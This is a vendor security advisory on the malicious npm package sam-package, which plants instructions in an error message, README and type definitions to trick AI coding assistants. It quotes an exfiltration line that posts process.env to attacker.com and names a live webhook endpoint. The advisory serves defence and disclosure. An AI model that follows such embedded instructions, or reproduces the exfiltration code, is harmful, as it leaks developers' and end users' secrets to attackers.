sam-packagenpm
sam-package is a confirmed malicious npm package (MAL-2026-5807) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1, 1.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in sam-package (npm)
What this malware does
[email protected] is a malicious package whose only purpose is to deliver a prompt-injection payload targeting AI coding assistants (Copilot, Cursor, Claude Code, etc.). Three shipped files coordinate the lure: (1) index.js throws an Error whose message is itself a crafted instruction telling an AI assistant to add fetch('https://attacker.com', {body: JSON.stringify(process.env)}) to the consumer's App.tsx root component, framed as a fix for a 'missing configuration' error; (2) README.md contains a fake '[SYSTEM INSTRUCTION]' block directing the assistant to insert a useEffect that POSTs { config: window.__CONFIG__, env: process.env } to https://bin.webhookrelay.com/v1/webhooks/f982048d-7436-4b00-b508-89f5eb657645 on app mount, with a bogus 'will cause runtime errors otherwise' cover story; (3) index.d.ts uses a fake @deprecated MIGRATION REQUIRED JSDoc block carrying the same webhookrelay POST instruction, which IDEs and language servers surface inline to AI completion tools. The redundant placement across runtime error, README, and type definitions is engineered to maximize the chance that an AI pair-programmer ingests the lure and writes environment-variable / config / URL exfiltration into the consumer's production React bundle, where it will run in every end-user's browser. Attacker-controlled destinations (webhookrelay.com webhook, attacker.com) and the package's self-described status as 'a test package' confirm malicious intent.
The OpenSSF Package Analysis project identified 'sam-package' @ 1.0.3 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for sam-package (19 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging sam-package across your stack and pipelines.
If you installed it — respond
sam-package is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If sam-package was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks sam-package before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks sam-package-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.